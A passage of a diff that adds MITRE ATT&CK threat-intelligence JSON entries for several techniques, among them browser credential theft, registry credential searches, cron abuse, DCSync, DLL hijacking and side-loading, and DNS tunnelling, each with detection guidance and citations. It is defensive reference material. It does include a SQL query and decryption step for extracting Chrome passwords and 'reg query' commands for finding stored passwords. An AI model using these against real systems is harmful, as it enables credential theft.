Retrieved June 18, 2019.", + "source_name": "Microsoft CryptUnprotectData April 2018" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign", + "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.", + "source_name": "Proofpoint Vega Credential Stealer May 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html", + "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.", + "source_name": "FireEye HawkEye Malware July 2017" + }, + { + "url": "https://github.com/putterpanda/mimikittenz", + "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.", + "source_name": "GitHub Mimikittenz July 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Credentials from Web Browsers", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-14T14:03:47.293Z", + "created": "2020-02-12T18:57:36.041Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", + "x_mitre_contributors": [ + "Ryan Benson, Exabeam", + "Barry Shteiman, Exabeam", + "Sylvain Gil, Exabeam", + "RedHuntLabs, @redhuntlabs" + ], + "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1555/003", + "external_id": "T1555.003", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata", + "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.", + "source_name": "Microsoft CryptUnprotectData April 2018" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign", + "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.", + "source_name": "Proofpoint Vega Credential Stealer May 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html", + "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.", + "source_name": "FireEye HawkEye Malware July 2017" + }, + { + "url": "https://github.com/putterpanda/mimikittenz", + "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.", + "source_name": "GitHub Mimikittenz July 2016" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-08T10:33:00.910Z", + "name": "Credentials in Files", + "created": "2017-05-31T21:31:02.188Z", + "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1081", + "external_id": "T1081", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/639.html", + "external_id": "CAPEC-639", + "source_name": "capec" + }, + { + "source_name": "CG 2014", + "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.", + "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html" + }, + { + "source_name": "SRD GPP", + "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", + "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" + }, + { + "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48", + "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.", + "source_name": "Specter Ops - Cloud Credential Storage" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-04T12:59:37.464Z", + "name": "Credentials in Registry", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1214", + "external_id": "T1214", + "source_name": "mitre-attack" + }, + { + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Credentials in Registry", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1552/002", + "external_id": "T1552.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Access" + ], + "x_mitre_version": "1.0", + "modified": "2020-02-07T20:49:18.834Z", + "x_mitre_system_requirements": [ + "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys." + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", + "x_mitre_contributors": [ + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", + "created": "2020-02-04T12:58:40.678Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cron", + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-23T15:29:36.918Z", + "created": "2019-12-03T14:25:00.538Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. ", + "x_mitre_remote_support": false, + "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053/003", + "external_id": "T1053.003", + "source_name": "mitre-attack" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-20T19:03:04.295Z", + "name": "Custom Command and Control Protocol", + "created": "2017-05-31T21:31:10.314Z", + "id": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1094", + "external_id": "T1094", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-07-20T21:57:36.046Z", + "name": "Custom Cryptographic Protocol", + "created": "2017-05-31T21:30:31.197Z", + "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1024", + "external_id": "T1024", + "source_name": "mitre-attack" + }, + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" + }, + { + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "DCSync", + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Access", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-22T20:20:14.595Z", + "created": "2020-02-11T18:45:34.293Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)", + "x_mitre_contributors": [ + "ExtraHop", + "Vincent Le Toux" + ], + "x_mitre_detection": "Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\n\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003/006", + "external_id": "T1003.006", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft DRSR Dec 2017", + "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc228086.aspx" + }, + { + "source_name": "Microsoft GetNCCChanges", + "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/dd207691.aspx" + }, + { + "source_name": "Samba DRSUAPI", + "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", + "url": "https://wiki.samba.org/index.php/DRSUAPI" + }, + { + "source_name": "Wine API samlib.dll", + "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.", + "url": "https://source.winehq.org/WineAPI/samlib.html" + }, + { + "source_name": "ADSecurity Mimikatz DCSync", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Harmj0y Mimikatz and DCSync", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" + }, + { + "source_name": "GitHub Mimikatz lsadump Module", + "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump" + }, + { + "source_name": "Microsoft NRPC Dec 2017", + "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", + "url": "https://msdn.microsoft.com/library/cc237008.aspx" + }, + { + "source_name": "Microsoft SAMR", + "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc245496.aspx" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Harmj0y DCSync Sept 2015", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-26T14:49:47.091Z", + "name": "DLL Search Order Hijacking", + "created": "2017-05-31T21:30:40.604Z", + "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "revoked": true, + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1038", + "url": "https://attack.mitre.org/techniques/T1038" + }, + { + "source_name": "capec", + "external_id": "CAPEC-471", + "url": "https://capec.mitre.org/data/definitions/471.html" + }, + { + "url": "http://msdn.microsoft.com/en-US/library/ms682586", + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "source_name": "Microsoft DLL Search" + }, + { + "url": "https://www.owasp.org/index.php/Binary_planting", + "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", + "source_name": "OWASP Binary Planting" + }, + { + "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/", + "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.", + "source_name": "Microsoft 2269637" + }, + { + "url": "http://msdn.microsoft.com/en-US/library/ms682600", + "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.", + "source_name": "Microsoft DLL Redirection" + }, + { + "url": "https://msdn.microsoft.com/en-US/library/aa375365", + "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", + "source_name": "Microsoft Manifests" + }, + { + "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/", + "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.", + "source_name": "Mandiant Search Order" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "DLL Search Order Hijacking", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Module: Module Load" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-26T18:37:03.748Z", + "created": "2020-03-13T18:11:08.357Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" + ], + "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/001", + "external_id": "T1574.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/471.html", + "external_id": "CAPEC-471", + "source_name": "capec" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN", + "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "source_name": "Microsoft Dynamic Link Library Search Order" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html", + "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.", + "source_name": "FireEye Hijacking July 2010" + }, + { + "url": "https://www.owasp.org/index.php/Binary_planting", + "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", + "source_name": "OWASP Binary Planting" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html", + "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.", + "source_name": "FireEye fxsst June 2011" + }, + { + "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637", + "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.", + "source_name": "Microsoft Security Advisory 2269637" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN", + "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.", + "source_name": "Microsoft Dynamic-Link Library Redirection" + }, + { + "url": "https://msdn.microsoft.com/en-US/library/aa375365", + "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", + "source_name": "Microsoft Manifests" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html", + "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.", + "source_name": "FireEye DLL Search Order Hijacking" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-20T14:28:39.529Z", + "name": "DLL Side-Loading", + "created": "2017-05-31T21:30:58.007Z", + "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1073", + "external_id": "T1073", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/641.html", + "external_id": "CAPEC-641", + "source_name": "capec" + }, + { + "source_name": "MSDN Manifests", + "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa375365" + }, + { + "source_name": "Stewart 2014", + "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-26T18:31:34.954Z", + "name": "DLL Side-Loading", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Module: Module Load", + "Process: Process Creation" + ], + "x_mitre_version": "2.0", + "created": "2020-03-13T19:41:37.908Z", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/002", + "external_id": "T1574.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/641.html", + "external_id": "CAPEC-641", + "source_name": "capec" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", + "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.", + "source_name": "FireEye DLL Side-Loading" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "DNS", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-21T16:26:34.196Z", + "created": "2020-03-15T16:27:31.768Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ", + "x_mitre_contributors": [ + "Jan Petrov, Citi" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1071/004", + "external_id": "T1071.004", + 